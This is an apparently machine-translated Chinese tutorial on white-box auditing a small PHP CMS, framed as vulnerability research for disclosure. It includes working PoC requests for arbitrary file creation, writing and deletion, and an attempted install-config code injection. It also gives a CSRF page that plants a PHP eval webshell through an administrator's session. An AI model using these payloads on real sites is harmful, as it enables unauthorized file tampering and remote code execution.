Source: Prophet community (ajie)

Original address: https://xz.aliyun.com/t/10539

0x01 Preface

It was probably in the first half of the year that a CMS command execution vulnerability was submitted. Now after so long, I also want to mine the general vulnerability, sort out the mining ideas and share them with you.

0x02 early stage of excavation

1, CMS selection

If this is the first time you dig a white box loophole, I suggest you, like me, find some simple ones to dig.

For the specific source code download address, please refer to:

https://github.com/search?q=cms
https://search.gitee.com/?skin=rec&type=repository&q=cms
https://down.chinaz.com/
https://www.a5xiazai.com/
......

Baidu looks for more than that

So how to choose (here I say it from the perspective of the first mining or the master who has only used the scanning tool to scan. If he has done development and has strong code skills, emm... When I didn't say.):

1,Find the latest version or a lower version, such as 1.1,1.2
2,look for github star Not much
3,Find a source with a small total capacity
4,Try not to use it tp,yii,laravel Equal frame type CMS

Here are the reasons: 1. If the CMS version is high, it indicates that the development has been maintained frequently. At the same time, it also indicates that the simple vulnerabilities have been found, submitted and rectified. (see the update log released on the CMS official website for details)

2. Why find cms with few GitHub stars? Very simple, not many people use it, no one marks the star, and there are few functions. 3. Less source code, easy to see ah, and think about the source code so much, you won't be too tired to look at it. 4. This is my personal understanding, because as many people say, the first judge can look at bluecms. Why? Because it's simple, the tp framework starts with various C methods and I methods, which is a headache.

After talking so much, to sum up:

Just like digging SRC, if you aim at Ali SRC and Baidu SRC at the beginning and can't dig a hole, is your mentality broken; If you collect assets with the help of day's poc and fofa at the beginning, you can dig the loopholes of simple and small enterprises at once. Although the loophole bonus may not be much, is there a full sense of achievement

Code audit is the same. Looking for a framework CMS with MVC architecture at the beginning, you may not understand the code, but also the routing. So it's better to find some simple hands training at the beginning

2, Environmental preparation

1,PHPstudy

PHP, middleware, database, a software to do, anyway, I think it is very fragrant to use.

2. Code scanning tool

At present, I use seay and fortify more. In fact, it's the same here. Not all vulnerabilities need to be found by reading through the code. Sometimes they can be much faster with the help of tools.

3,BurpSuite

Penetration testing artifact level tools are not introduced here. After all, how can we dig vulnerabilities without capturing packages.

4. Vulnerability scanning tool

Although we have the source code, we don't have to dig holes from the code. We can combine the black box method with the black-and-white box, which is easier to dig holes, that is, the gray box test in the industry.

The scanning tool recommends Xray+burp linkage here. Just grab a few packages and see if there are any vulnerabilities at a glance, so that we can scan them at the same time when testing vulnerabilities.

5. Editor

The function of the editor is to facilitate viewing the code and use it when necessary. Here can be regarded as my water word count. I personally prefer nopad + +. Of course, other things are also possible. phpstorm is the best and can quickly jump to functions.

Tool download address:

https://www.xp.cn/
https://github.com/f1tz/cnseay
https://github.com/chaitin/xray/releases

3, Build environment

1. First download the source code, unzip it and put it in the WWW folder under the phpstudy installation directory

2. The installation method is generally request http://127.0.0.1/install/ Just follow the prompts to enter information.

3. Prompt that the installation is successful

0x03 middle stage of excavation

1, Code scanning

Code scanning with seay's built-in automatic audit function

2, Black and white box cooperation found loopholes

This is actually very interesting. It is not detailed here because the focus was really on the white box. In fact, I think it would be more interesting to find the corresponding code after discovering the vulnerability.

1. Browser settings proxy, pointing to burp: 127.0.0.1:8080

2. burp sets up the proxy, pointing to xray: 127.0.0.1:7777

3. Turn on xray passive scanning, command:

./xray_darwin_amd64 webscan --listen 127.0.0.1:7777 --html-output test.html

4. Click on each function point, just like the normal black box measurement

5. View xray scan results

6. View code scan results

3, Analyze scan results

1. Click the results one by one to see if the vulnerability really exists

Because the tool scans according to regular matching, there will always be some situations that may exist but do not exist, such as this:

Because$_ G['SYSTEM']['PATH'] is suspected to be a controllable variable, so it is revealed that any file contains a vulnerability. In fact, if you look up, you can find it$_ G['SYSTEM']['PATH'] is actually defined in advance.

2. Locating vulnerabilities 1) Found a file_get_contents, controllable variable is $path

Looking ahead, $path is directly passed in for us to get, but some restrictions and authentication are made without filtering

$path = realpath($_GET['path']);
if (!$path) {
    if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {
        PkPopup('{content:"Nonexistent path, request path:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
    }
    ExitJson('Nonexistent path, request path:' . $_GET['path']);
}
$_G['TEMP']['PATH'] = iconv('GBK', 'UTF-8//IGNORE', $path);
if (strpos($path, $spath) !== 0) {
    if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {
        PkPopup('{content:"Unauthorized operation, request path:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
    }
    ExitJson('Unauthorized operation, request path:' . $_GET['path']);
}

switch ($type) {
    case 'edit' :
        if (filetype($path) != 'file') {
            if ($_G['GET']['JSON']) {
                ExitJson('Nonexistent file');
            }
            PkPopup('{content:"Nonexistent file",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
        }
        $suffix = substr($path, strrpos($path, '.') + 1);
        if (!InArray($suffixs, $suffix)) {
            if ($_G['GET']['JSON']) {
                ExitJson('Unsupported file format');
            }
            PkPopup('{content:"Unsupported file format",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
        }
        $filecontent1 = file_get_contents($path);
        $filecontent = htmlspecialchars($filecontent1, ENT_QUOTES);
        if ($filecontent1 && !$filecontent) {
            if ($_G['GET']['JSON']) {
                ExitJson('This file encoding is not supported, only UTF-8');
            }
            PkPopup('{content:"This file encoding is not supported, only UTF-8",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
        }
        if ($_G['GET']['JSON']) {
            ExitJson($filecontent1, TRUE);
        }
        $path = str_replace('\\', '/', $path);
        $paths = explode('/', $path);
        $path = '';
        for ($i = 0; $i < count($paths); $i++) {
            if ($i == count($paths) - 1) {
                $filename = $paths[$i];
            } else {
                $path .= $paths[$i] . '/';
            }
        }
        ExitGourl('index.php?c=app&a=filesmanager:index&path=' . urlencode(realpath($path)) . '&editbtn=' . md5($filename));
        break;

2) Look down and unlink $path (), that is, delete it

case 'del' :
        $r = unlink($path);
        ExitJson('Operation complete', $r);
        break;

3) Next, pass in mkname and use file_put_contents to create a file. The content is empty. Obviously, it only detects whether there is duplicate creation, and it is not filtered.

case 'mkfile' :
        $mkname = $_GET['mkname'];
        if (!$mkname) {
            ExitJson('Please enter the name of the directory or file');
        }
        if ($type == 'mkdir') {
            if (file_exists($path . "/{$mkname}")) {
                ExitJson('directory already exists');
            }
            $r = mkdir($path . "/{$mkname}");
        } else {
            if (file_exists($path . "/{$mkname}")) {
                ExitJson('file already exist');
            }
            $r = file_put_contents($path . "/{$mkname}", '');
        }
        ExitJson('Operation complete', $r === FALSE ? FALSE : TRUE);
        break;
}

3. Study routing to see how to call vulnerable functions

1) First, check the vulnerability path, which literally means a file management operation in the / app / directory

/app/filesmanager/index.php

2) When I returned to the website, I found that the routing rule was:

Yes http://url/index.php?c=read&id=1&page=1 After, a request will be issued:

/index.php?c=app&a=puyuetianeditor:index&s=myfiles&page=1

Through a = puyuetianeeditor: index, locate the file location as / APP / puyuetianeeditor / index.php

3) You can see in the file that '/ APP / puyuetianeditor / phpscript /' was requested to continue$_ G ['Get '] ['s'].'. PHP, you can see in the URL that the parameter passed in by s is myfiles, so you can locate the file path as follows:

/app/puyuetianeditor/phpscript/myfiles.php

4) The vulnerability path / app/filesmanager/index.php can correspond to the URL

/?c=app&a=filesmanager:index

4, Verification vulnerability

Create any file

1. Build a website and log in to the website background

2. The vulnerability exists in / app/filesmanager/index.php

3. After some operations, click file_put_contents to create a file, poc:

http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=mkfile&mkname=123.php

4. You can see the successful creation of the file in the root directory of the website

Arbitrary file write

poc:

http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=save&path=123.php
POST: 
filecontent=<?php phpinfo();?>

You can see that the file contents are written successfully

Attempt to execute command

Delete any file

poc:

http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=del&path=123.php

The path where the vulnerability file exists is / app/filesmanager/index.php

You can see that the 123.php file has been successfully deleted.

5, Combined vulnerability expansion results

1. Delete any file and reinstall the system (failed)

We have seen such a vulnerability before, because when the system is reinstalled, the configuration information entered by the user will be written to the php file. If you can enter code, it can be executed successfully. Here's a try. 1) First look at the index.php file As long as the install.locked file exists, the website has been installed

2) If you look at / install/index.php, you can see that this file also exists, that is, you can't reinstall the system.

3) Delete this file by deleting any file:

http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=del&path=C://phpStudy/WWW/install/install.locked

4) You can reinstall the system by visiting / install/index.php

5) Execute normally. When step=2, enter database and other information

Navigate to the / phpscript/environment.php file

Go to / template/environment.hst

Discovery keyword mysql_username

Search globally and locate the file location:

You can see that the configuration information will be written here at last.

6) Grab the data packet of incoming information and test it

fuzz several times to confirm that something can be written

POST /install/index.php?step=3 HTTP/1.1
Host: 192.168.150.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 302
Origin: http://192.168.150.9
Connection: close
Referer: http://192.168.150.9/install/index.php?step=2
Cookie: PHPSESSID=b9imt0v97o8hsml01jr0tro9n3; UIA=KXoyLywxNlo2YDQtLl8tX2BlMjAqLzUqX103Y1xlZWBcMzFeXi4xXjQsYDBeMC8tZDEsXjIxMCoxLjIvXmQ1Y14w; app_puyuetianeditor_editcontent=%3Cbr%3E

_webos=*&mysql_type=mysql&mysql_location=127.0.0.1&mysql_username=root&mysql_password=root&mysql_database='eval($_REQUEST[1])&mysql_prefix=pk_&mysql_charset=set+names+utf8&adminusername=phpinfo();&adminpassword=phpinfo();&adminemail=admin%40qq.com&hs_username=&hs_password=&hs_domain=192.168.150.9

7) Finally, it is found that cannot be passed in;, Otherwise, an error will be reported

8) If it is passed in, 403 will be displayed again

9) I feel I have a chance. It's up to the masters to try...

2. Arbitrary file write with CSRF (successful)

For the vulnerabilities seen in dedecms, because arbitrary files written in the background cannot be exploited without the support of administrator privileges, if they cooperate with CSRF vulnerabilities, they can be directly executed by borrowing the administrator's cookie to expand the harm of the vulnerability.

Try it here:

1) First, grab the data packet written to the file. You can see that there are no obvious token and other fields

2) Only permission detection is seen in the vulnerability file

3) Generate a CSRF vulnerability POC written to an arbitrary file using burp and save it as test.html

4) Generate CSRF vulnerability POC created by arbitrary file

5) Consolidate the two files together and set up automatic submission

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form id='test1' action="http://192.168.150.9/index.php">
      <input type="hidden" name="c" value="app" />
      <input type="hidden" name="a" value="filesmanager&#58;index" />
      <input type="hidden" name="type" value="mkfile" />
      <input type="hidden" name="mkname" value="123&#46;php" />
      <input type="submit" value="Submit request" />
    </form>
    <form id='test2' action="http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=save&path=123.php" method="POST">
      <input type="hidden" name="filecontent" value="&lt;&#63;php&#32;eval&#40;&#36;&#95;REQUEST&#91;1&#93;&#41;&#59;&#63;&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
        function test1() {
            document.getElementById("test1").submit();
        }
        function test2() {
            document.getElementById("test2").submit();
        }
        setTimeout(test1,100)
        setTimeout(test2,200)
</script>
  </body>
</html>

6) Open the test.html file in the logged in browser. After jumping several times, it displays ok and saving fails

It is the same as the previous return of writing any file. You can see that it has been successfully written in the root directory of the website

Execute command

0x04 post Excavation & summary

What do you do after digging? Submit vulnerabilities ~

OK, this is a vulnerability discovered not long after learning. In fact, I feel that the technical content is not high and it is not difficult to find vulnerabilities. I mainly want to share the process and ideas.

Finally, I hope to see this article to small partners to quickly tap common vulnerabilities ~